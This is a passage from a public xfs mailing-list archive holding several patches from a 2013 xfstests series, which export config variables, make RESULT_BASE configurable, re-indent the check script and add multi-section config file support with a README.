$i}'` + fi + + echo $SCRATCH_DEV | grep -q ":" > /dev/null 2>&1 + if [ ! -z "$SCRATCH_DEV" -a ! -b "$SCRATCH_DEV" -a "$?" != "0" ]; then + echo "common/config: Error: \$SCRATCH_DEV ($SCRATCH_DEV) is not a block device or a NFS filesystem" + exit 1 + fi + + if [ ! -z "$SCRATCH_MNT" -a ! -d "$SCRATCH_MNT" ]; then + echo "common/config: Error: \$SCRATCH_MNT ($SCRATCH_MNT) is not a directory" + exit 1 + fi +} + +get_next_config # make sure this script returns success /bin/true -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8F6BC7F59 for ; Thu, 11 Jul 2013 05:38:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D55C0AC002 for ; Thu, 11 Jul 2013 03:38:15 -0700 (PDT) X-ASG-Debug-ID: 1373539094-04cbb04690de1e90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id omoI4sHQJ7JHIKsD for ; Thu, 11 Jul 2013 03:38:14 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcE7k028954 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:14 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAYw003691; Thu, 11 Jul 2013 06:38:13 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 02/10 v2] xfstests: Export all important variables in common/config Date: Thu, 11 Jul 2013 12:37:57 +0200 X-ASG-Orig-Subj: [PATCH 02/10 v2] xfstests: Export all important variables in common/config Message-Id: <1373539085-8577-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539094 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently we do not export some of the important variables in common/config. Fix this. Signed-off-by: Lukas Czerner --- common/config | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/common/config b/common/config index 67c1498..1679acf 100644 --- a/common/config +++ b/common/config @@ -56,19 +56,19 @@ export LANG=C [ -d /usr/freeware/bin ] && PATH=$PATH:/usr/freeware/bin PATH=".:$PATH" -HOST=`hostname -s` -HOSTOS=`uname -s` -[ "$HOSTOS" = "IRIX64" ] && HOSTOS="IRIX" +export HOST=`hostname -s` +export HOSTOS=`uname -s` +[ "$HOSTOS" = "IRIX64" ] && export HOSTOS="IRIX" -MODULAR=0 # using XFS as a module or not -BOOT="/boot" # install target for kernels +export MODULAR=0 # using XFS as a module or not +export BOOT="/boot" # install target for kernels export EXTRA=${EXTRA:=xfs-qa} # general parameters (mainly for auto-qa) -SOAK_PROC=3 # -p option to fsstress -SOAK_STRESS=10000 # -n option to fsstress -SOAK_PASSES=-1 # count of repetitions of fsstress (while soaking) -EMAIL=root@localhost # where auto-qa will send its status messages +export SOAK_PROC=3 # -p option to fsstress +export SOAK_STRESS=10000 # -n option to fsstress +export SOAK_PASSES=-1 # count of repetitions of fsstress (while soaking) +export EMAIL=root@localhost # where auto-qa will send its status messages export HOST_OPTIONS=${HOST_OPTIONS:=local.config} export CHECK_OPTIONS=${CHECK_OPTIONS:="-g auto"} export BENCH_PASSES=${BENCH_PASSES:=5} -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E5E8D7F5D for ; Thu, 11 Jul 2013 05:38:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BAD32304081 for ; Thu, 11 Jul 2013 03:38:19 -0700 (PDT) X-ASG-Debug-ID: 1373539098-04bdf0233fe002b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ru7I5RXeiM4LJBtz for ; Thu, 11 Jul 2013 03:38:18 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcISD028966 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:18 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAZ2003691; Thu, 11 Jul 2013 06:38:18 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 06/10 v2] xfstests: Allow to specify RESULT_BASE directory Date: Thu, 11 Jul 2013 12:38:01 +0200 X-ASG-Orig-Subj: [PATCH 06/10 v2] xfstests: Allow to specify RESULT_BASE directory Message-Id: <1373539085-8577-7-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539098 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This commit adds the possibility to specify RESULT_BASE directory from the config file, or with environment variable. The default remains the same "$here/results/". Signed-off-by: Lukas Czerner --- check | 1 - common/config | 5 +++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/check b/check index dc972d7..428eba1 100755 --- a/check +++ b/check @@ -66,7 +66,6 @@ export FSTYP SUPPORTED_TESTS="[0-9][0-9][0-9] [0-9][0-9][0-9][0-9]" SRC_GROUPS="generic shared" export SRC_DIR="tests" -export RESULT_BASE=${RESULT_BASE:="$here/results"} usage() { diff --git a/common/config b/common/config index 34c99e1..39dd469 100644 --- a/common/config +++ b/common/config @@ -230,6 +230,11 @@ if [ -f "$HOST_OPTIONS" ]; then fi get_next_config() { + # set default RESULT_BASE + if [ -z "$RESULT_BASE" ]; then + export RESULT_BASE="$here/results/" + fi + # Mandatory Config values. MC="" [ -z "$EMAIL" ] && MC="$MC EMAIL" -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 59E107F3F for ; Thu, 11 Jul 2013 05:38:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 40D5D8F8037 for ; Thu, 11 Jul 2013 03:38:21 -0700 (PDT) X-ASG-Debug-ID: 1373539100-04cbb0468fde1ea0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id MRoI0HGrvONKejAY for ; Thu, 11 Jul 2013 03:38:20 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcJ8D002451 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:20 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAZ3003691; Thu, 11 Jul 2013 06:38:19 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 07/10 v2] xfstests: Prepare for config section Date: Thu, 11 Jul 2013 12:38:02 +0200 X-ASG-Orig-Subj: [PATCH 07/10 v2] xfstests: Prepare for config section Message-Id: <1373539085-8577-8-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539100 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This stupid patch only put the indentation in place so we will be able to clearly see and review changes made in the second patch which will add a loop (instead of allways-true condition introduced in this patch) adding support for config sections. There are no changes in the logic, only indentation changes. Signed-off-by: Lukas Czerner --- check | 314 +++++++++++++++++++++++++++++++++--------------------------------- 1 file changed, 157 insertions(+), 157 deletions(-) diff --git a/check b/check index 428eba1..677650c 100755 --- a/check +++ b/check @@ -356,186 +356,186 @@ END { if (NR > 0) { trap "_wrapup; exit \$status" 0 1 2 3 15 -mkdir -p $RESULT_BASE -if [ ! -d $RESULT_BASE ]; then - echo "failed to create results directory $RESULTS_BASE" - exit 1; -fi +if true; then + mkdir -p $RESULT_BASE + if [ ! -d $RESULT_BASE ]; then + echo "failed to create results directory $RESULTS_BASE" + exit 1; + fi -seq="check" -check="$RESULT_BASE/check" + seq="check" + check="$RESULT_BASE/check" # don't leave old full output behind on a clean run -rm -f $check.full + rm -f $check.full -[ -f $check.time ] || touch $check.time + [ -f $check.time ] || touch $check.time # print out our test configuration -echo "FSTYP -- `_full_fstyp_details`" -echo "PLATFORM -- `_full_platform_details`" -if [ ! -z "$SCRATCH_DEV" ]; then - echo "MKFS_OPTIONS -- `_scratch_mkfs_options`" - echo "MOUNT_OPTIONS -- `_scratch_mount_options`" -fi -echo - - -if [ ! -z "$SCRATCH_DEV" ]; then - umount $SCRATCH_DEV 2>/dev/null - # call the overridden mkfs - make sure the FS is built - # the same as we'll create it later. - - if ! _scratch_mkfs $flag >$tmp.err 2>&1 - then - echo "our local _scratch_mkfs routine ..." - cat $tmp.err - echo "check: failed to mkfs \$SCRATCH_DEV using specified options" - exit 1 - fi - - # call the overridden mount - make sure the FS mounts with - # the same options that we'll mount with later. - if ! _scratch_mount >$tmp.err 2>&1 - then - echo "our local mount routine ..." - cat $tmp.err - echo "check: failed to mount \$SCRATCH_DEV using specified options" - exit 1 - fi -fi - -seqres="$check" -_check_test_fs - -for seq in $list -do - err=false + echo "FSTYP -- `_full_fstyp_details`" + echo "PLATFORM -- `_full_platform_details`" + if [ ! -z "$SCRATCH_DEV" ]; then + echo "MKFS_OPTIONS -- `_scratch_mkfs_options`" + echo "MOUNT_OPTIONS -- `_scratch_mount_options`" + fi + echo - # the filename for the test and the name output are different. - # we don't include the tests/ directory in the name output. - seqnum=`echo $seq | sed -e "s;$SRC_DIR/;;"` - # Similarly, the result directory needs to replace the tests/ - # part of the test location. - group=`dirname $seq` - export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` - mkdir -p $RESULT_DIR - seqres="$RESULT_BASE/$seqnum" + if [ ! -z "$SCRATCH_DEV" ]; then + umount $SCRATCH_DEV 2>/dev/null + # call the overridden mkfs - make sure the FS is built + # the same as we'll create it later. - echo -n "$seqnum" + if ! _scratch_mkfs $flag >$tmp.err 2>&1 + then + echo "our local _scratch_mkfs routine ..." + cat $tmp.err + echo "check: failed to mkfs \$SCRATCH_DEV using specified options" + exit 1 + fi - if $showme - then - echo - continue - elif [ ! -f $seq ] - then - echo " - no such test?" - else - # really going to try and run this one - # - rm -f $seqres.out.bad - - # check if we really should run it - if [ -s $tmp.xlist ]; then - if grep $seqnum $tmp.xlist > /dev/null 2>&1 ; then - echo " [expunged]" - continue + # call the overridden mount - make sure the FS mounts with + # the same options that we'll mount with later. + if ! _scratch_mount >$tmp.err 2>&1 + then + echo "our local mount routine ..." + cat $tmp.err + echo "check: failed to mount \$SCRATCH_DEV using specified options" + exit 1 fi fi - # slashes now in names, sed barfs on them so use grep - lasttime=`grep -w ^$seqnum $check.time | awk '// {print $2}'` - if [ "X$lasttime" != X ]; then - echo -n " ${lasttime}s ..." - else - echo -n " " # prettier output with timestamps. - fi - rm -f core $seqres.notrun + seqres="$check" + _check_test_fs - start=`_wallclock` - $timestamp && echo -n " ["`date "+%T"`"]" - [ ! -x $seq ] && chmod u+x $seq # ensure we can run it - $LOGGER_PROG "run xfstest $seqnum" - ./$seq >$tmp.rawout 2>&1 - sts=$? - $timestamp && _timestamp - stop=`_wallclock` + for seq in $list + do + err=false - _fix_malloc <$tmp.rawout >$tmp.out - rm -f $tmp.rawout + # the filename for the test and the name output are different. + # we don't include the tests/ directory in the name output. + seqnum=`echo $seq | sed -e "s;$SRC_DIR/;;"` - if [ -f core ] - then - echo -n " [dumped core]" - mv core $RESULT_BASE/$seqnum.core - err=true - fi + # Similarly, the result directory needs to replace the tests/ + # part of the test location. + group=`dirname $seq` + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + mkdir -p $RESULT_DIR + seqres="$RESULT_BASE/$seqnum" - if [ -f $seqres.notrun ] - then - $timestamp || echo -n " [not run] " - $timestamp && echo " [not run]" && echo -n " $seqnum -- " - cat $seqres.notrun - notrun="$notrun $seqnum" - else - if [ $sts -ne 0 ] - then - echo -n " [failed, exit status $sts]" - err=true - fi - if [ ! -f $seq.out ] - then - echo " - no qualified output" - err=true - else - if diff $seq.out $tmp.out >/dev/null 2>&1 + echo -n "$seqnum" + + if $showme + then + echo + continue + elif [ ! -f $seq ] then - if $err - then - : - else - echo "$seqnum `expr $stop - $start`" >>$tmp.time - echo -n " `expr $stop - $start`s" - fi - echo "" + echo " - no such test?" else - echo " - output mismatch (see $seqres.out.bad)" - mv $tmp.out $seqres.out.bad - $diff $seq.out $seqres.out.bad | { - if test "$DIFF_LENGTH" -le 0; then - cat + # really going to try and run this one + # + rm -f $seqres.out.bad + + # check if we really should run it + if [ -s $tmp.xlist ]; then + if grep $seqnum $tmp.xlist > /dev/null 2>&1 ; then + echo " [expunged]" + continue + fi + fi + + # slashes now in names, sed barfs on them so use grep + lasttime=`grep -w ^$seqnum $check.time | awk '// {print $2}'` + if [ "X$lasttime" != X ]; then + echo -n " ${lasttime}s ..." else - head -n "$DIFF_LENGTH" - fi; } | \ - sed -e 's/^\(.\)/ \1/' - echo " ..." - echo " (Run '$diff $seq.out $seqres.out.bad' to see the" \ - "entire diff)" - err=true - fi - fi - fi + echo -n " " # prettier output with timestamps. + fi + rm -f core $seqres.notrun + + start=`_wallclock` + $timestamp && echo -n " ["`date "+%T"`"]" + [ ! -x $seq ] && chmod u+x $seq # ensure we can run it + $LOGGER_PROG "run xfstest $seqnum" + ./$seq >$tmp.rawout 2>&1 + sts=$? + $timestamp && _timestamp + stop=`_wallclock` + + _fix_malloc <$tmp.rawout >$tmp.out + rm -f $tmp.rawout + + if [ -f core ] + then + echo -n " [dumped core]" + mv core $RESULT_BASE/$seqnum.core + err=true + fi - fi + if [ -f $seqres.notrun ] + then + $timestamp || echo -n " [not run] " + $timestamp && echo " [not run]" && echo -n " $seqnum -- " + cat $seqres.notrun + notrun="$notrun $seqnum" + else + if [ $sts -ne 0 ] + then + echo -n " [failed, exit status $sts]" + err=true + fi + if [ ! -f $seq.out ] + then + echo " - no qualified output" + err=true + else + if diff $seq.out $tmp.out >/dev/null 2>&1 + then + if $err + then + : + else + echo "$seqnum `expr $stop - $start`" >>$tmp.time + echo -n " `expr $stop - $start`s" + fi + echo "" + else + echo " - output mismatch (see $seqres.out.bad)" + mv $tmp.out $seqres.out.bad + $diff $seq.out $seqres.out.bad | { + if test "$DIFF_LENGTH" -le 0; then + cat + else + head -n "$DIFF_LENGTH" + fi; } | \ + sed -e 's/^\(.\)/ \1/' + echo " ..." + echo " (Run '$diff $seq.out $seqres.out.bad' to see the entire diff)" + err=true + fi + fi + fi + fi - # come here for each test, except when $showme is true - # - if $err - then - bad="$bad $seqnum" - n_bad=`expr $n_bad + 1` - quick=false - fi - if [ ! -f $seqres.notrun ] - then - try="$try $seqnum" - n_try=`expr $n_try + 1` - _check_test_fs - fi + # come here for each test, except when $showme is true + # + if $err + then + bad="$bad $seqnum" + n_bad=`expr $n_bad + 1` + quick=false + fi + if [ ! -f $seqres.notrun ] + then + try="$try $seqnum" + n_try=`expr $n_try + 1` + _check_test_fs + fi - seq="after_$seqnum" -done + seq="after_$seqnum" + done +fi interrupt=false status=`expr $n_bad` -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7C78F7F54 for ; Thu, 11 Jul 2013 05:38:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6549B304081 for ; Thu, 11 Jul 2013 03:38:22 -0700 (PDT) X-ASG-Debug-ID: 1373539101-04cbb04691de1eb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id S3Jx3p22M88Ik4g4 for ; Thu, 11 Jul 2013 03:38:21 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcLoN027033 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:21 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAZ4003691; Thu, 11 Jul 2013 06:38:20 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 08/10 v2] xfstests: Add support for sections in config file Date: Thu, 11 Jul 2013 12:38:03 +0200 X-ASG-Orig-Subj: [PATCH 08/10 v2] xfstests: Add support for sections in config file Message-Id: <1373539085-8577-9-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539101 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch add support for sections in the config file. Each section can contain configuration options in the format OPTION=value when one section is processed xfstests will proceed to next section until all secitons are processed, or an error occur. The name of the section can consist of alphanumeric characters + '_', nothing else is allowed. Name of the section is also used to create results subdirectory for each section. After all the sections are processed summary of all runs is printed out. If the config file does not contain sections, or we're not using config file at all, nothing is changed and xfstests will work the same way as it used to. This is very useful for testing file system with different options. Here is an example of the config file with sections: [ext4_4k_block_size] TEST_DEV=/dev/sda TEST_DIR=/mnt/test SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" [ext4_discard_ssd] MKFS_OPTIONS="-q -F -b4096" TEST_DEV=/dev/sdc SCRATCH_DEV=/dev/sdd MOUNT_OPTIONS="-o discard" Note that once the variable is set it remains set across the sections, so you do not have to specify all the options in all sections. However one have to make sure that unwanted options are not set from previous sections. Signed-off-by: Lukas Czerner --- README.config-sections | 50 ++++++++++++++++++++++++++++++++++ check | 73 +++++++++++++++++++++++++++++++++++++++++--------- common/config | 49 +++++++++++++++++++++++++++++++-- 3 files changed, 158 insertions(+), 14 deletions(-) create mode 100644 README.config-sections diff --git a/README.config-sections b/README.config-sections new file mode 100644 index 0000000..6d88a6f --- /dev/null +++ b/README.config-sections @@ -0,0 +1,50 @@ +Configuration file with sections +================================ + +Configuration file with sections is useful for running xfstests on multiple +file systems, or multiple file system setups in a single run without any +help of external scripts. + +Syntax for defining a section is the following: + +[section_name] + +Section name should consist of alphanumeric characters and '_'. Anything +else is forbidden and the section will not be recognised. + +Each section in the configuration file should contain options in the format + +OPTION=value + +'OPTION' must not contain any white space characters. 'value' can contain +any character you want with one simple limitation - characters ' and " can +only appear at the start and end of the 'value', however it is not required. + +Note that options are carried between sections so the same options does not +have to be specified in each and every sections. However caution should be +exercised not to leave unwanted options set from previous sections. + +For every section xfstests will run with specified options and will produce +separate results in the '$RESULT_BASE/$section_name' directory. + +Here is an example of config file with sections: + +[ext4_4k_block_size] +TEST_DEV=/dev/sda +TEST_DIR=/mnt/test +SCRATCH_DEV=/dev/sdb +SCRATCH_MNT=/mnt/test1 +MKFS_OPTIONS="-q -F -b4096" +FSTYP=ext4 + +[ext4_1k_block_size] +MKFS_OPTIONS="-q -F -b1024" + +[ext4_nojournal] +MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" + +[ext4_discard_ssd] +MKFS_OPTIONS="-q -F -b4096" +TEST_DEV=/dev/sdc +SCRATCH_DEV=/dev/sdd +MOUNT_OPTIONS="-o discard" diff --git a/check b/check index 677650c..1df7a37 100755 --- a/check +++ b/check @@ -22,9 +22,11 @@ tmp=/tmp/$$ status=0 needwrap=true +needsum=true n_try=0 try="" n_bad=0 +sum_bad=0 bad="" notrun="" interrupt=true @@ -296,7 +298,12 @@ then exit 1 fi -# Ok, time to start running... +_wipe_counters() +{ + n_try="0" + n_bad="0" + unset try notrun bad +} _wrapup() { @@ -325,16 +332,20 @@ END { if (NR > 0) { date >>$check.log echo $list | fmt | sed -e 's/^/ /' -e "s;$SRC_DIR/;;g" >>$check.log $interrupt && echo "Interrupted!" >>$check.log - + + echo "SECTION -- $section" >>$tmp.summary + echo "=========================" >>$tmp.summary if [ ! -z "$n_try" -a $n_try != 0 ] then echo "Ran:$try" + echo "Ran:$try" >>$tmp.summary fi if [ ! -z "$notrun" ] then echo "Not run:$notrun" echo "Not run:$notrun" >>$check.log + echo "Not run:$notrun" >>$tmp.summary fi if [ ! -z "$n_bad" -a $n_bad != 0 ] @@ -343,20 +354,48 @@ END { if (NR > 0) { echo "Failed $n_bad of $n_try tests" echo "Failures:$bad" | fmt >>$check.log echo "Failed $n_bad of $n_try tests" >>$check.log + echo "Failures:$bad" >>$tmp.summary + echo "Failed $n_bad of $n_try tests" >>$tmp.summary else echo "Passed all $n_try tests" echo "Passed all $n_try tests" >>$check.log + echo "Passed all $n_try tests" >>$tmp.summary fi + echo "" >>$tmp.summary needwrap=false fi + sum_bad=`expr $sum_bad + $n_bad` + _wipe_counters rm -f /tmp/*.rawout /tmp/*.out /tmp/*.err /tmp/*.time - rm -f $tmp.* + if ! $OPTIONS_HAVE_SECTIONS; then + rm -f $tmp.* + fi } -trap "_wrapup; exit \$status" 0 1 2 3 15 +_summary() +{ + _wrapup + if $showme; then + : + elif $needsum; then + count=`wc -L $tmp.summary | cut -f1 -d" "` + cat $tmp.summary + needsum=false + fi + rm -f $tmp.* +} + +if $OPTIONS_HAVE_SECTIONS; then + trap "_summary; exit \$status" 0 1 2 3 15 +else + trap "_wrapup; exit \$status" 0 1 2 3 15 +fi + +for section in $HOST_OPTIONS_SECTIONS; do + get_next_config $section + init_rc -if true; then mkdir -p $RESULT_BASE if [ ! -d $RESULT_BASE ]; then echo "failed to create results directory $RESULTS_BASE" @@ -366,12 +405,15 @@ if true; then seq="check" check="$RESULT_BASE/check" -# don't leave old full output behind on a clean run + # don't leave old full output behind on a clean run rm -f $check.full [ -f $check.time ] || touch $check.time -# print out our test configuration + # print out our test configuration + if $OPTIONS_HAVE_SECTIONS; then + echo "SECTION -- $section" + fi echo "FSTYP -- `_full_fstyp_details`" echo "PLATFORM -- `_full_platform_details`" if [ ! -z "$SCRATCH_DEV" ]; then @@ -379,7 +421,7 @@ if true; then echo "MOUNT_OPTIONS -- `_scratch_mount_options`" fi echo - + needwrap=true if [ ! -z "$SCRATCH_DEV" ]; then umount $SCRATCH_DEV 2>/dev/null @@ -419,9 +461,14 @@ if true; then # Similarly, the result directory needs to replace the tests/ # part of the test location. group=`dirname $seq` - export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + if $OPTIONS_HAVE_SECTIONS; then + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;${RESULT_BASE}/$section;"` + seqres="$RESULT_BASE/$section/$seqnum" + else + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + seqres="$RESULT_BASE/$seqnum" + fi mkdir -p $RESULT_DIR - seqres="$RESULT_BASE/$seqnum" echo -n "$seqnum" @@ -535,8 +582,10 @@ if true; then seq="after_$seqnum" done -fi + _wrapup + echo +done interrupt=false -status=`expr $n_bad` +status=`expr $sum_bad` exit diff --git a/common/config b/common/config index 39dd469..8011ec4 100644 --- a/common/config +++ b/common/config @@ -221,15 +221,57 @@ known_hosts() [ -f $HOST_CONFIG_DIR/$HOST.config ] && export HOST_OPTIONS=$HOST_CONFIG_DIR/$HOST.config } +# Returns a list of sections in config file +# Each section starts with the section name in the format +# [section_name1]. Only alphanumeric characters and '_' is allowed +# in the section name otherwise the section will not be resognised. +# Section name must be contained between square brackets. +get_config_sections() { + sed -n -e "s/^\[\([[:alnum:]_]*\)\]/\1/p" < $1 +} + if [ ! -f "$HOST_OPTIONS" ]; then known_hosts fi +export HOST_OPTIONS_SECTIONS="-no-sections-" +export OPTIONS_HAVE_SECTIONS=false if [ -f "$HOST_OPTIONS" ]; then - . $HOST_OPTIONS + export HOST_OPTIONS_SECTIONS=`get_config_sections $HOST_OPTIONS` + if [ -z "$HOST_OPTIONS_SECTIONS" ]; then + . $HOST_OPTIONS + export HOST_OPTIONS_SECTIONS="-no-sections-" + else + export OPTIONS_HAVE_SECTIONS=true + fi fi +# Parse config section options. This function will parse all the configuration +# within a single section which name is passed as an argument. For section +# name format see comments in get_config_sections(). +# Empty lines and everything after '#' will be ignored. +# Configuration options should be defined in the format +# +# CONFIG_OPTION=value +# +# This 'CONFIG_OPTION' variable and will be exported as an environment variable. +parse_config_section() { + SECTION=$1 + if ! $OPTIONS_HAVE_SECTIONS; then + return 0 + fi + eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ + -e 's/#.*$//' \ + -e 's/[[:space:]]*$//' \ + -e 's/^[[:space:]]*//' \ + -e "s/^\(.*\)=\"\?'\?\([^\"']*\)\"\?'\?$/export \1=\"\2\"/" \ + < $HOST_OPTIONS \ + | sed -n -e "/^\[$SECTION\]/,/^\s*\[/{/^[^#].*\=.*/p;}"` +} + get_next_config() { + parse_config_section $1 + # set default RESULT_BASE if [ -z "$RESULT_BASE" ]; then export RESULT_BASE="$here/results/" @@ -282,7 +324,10 @@ get_next_config() { fi } -get_next_config +if [ -z "$CONFIG_INCLUDED" ]; then + get_next_config `echo $HOST_OPTIONS_SECTIONS | cut -f1 -d" "` + export CONFIG_INCLUDED=true +fi # make sure this script returns success /bin/true -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on 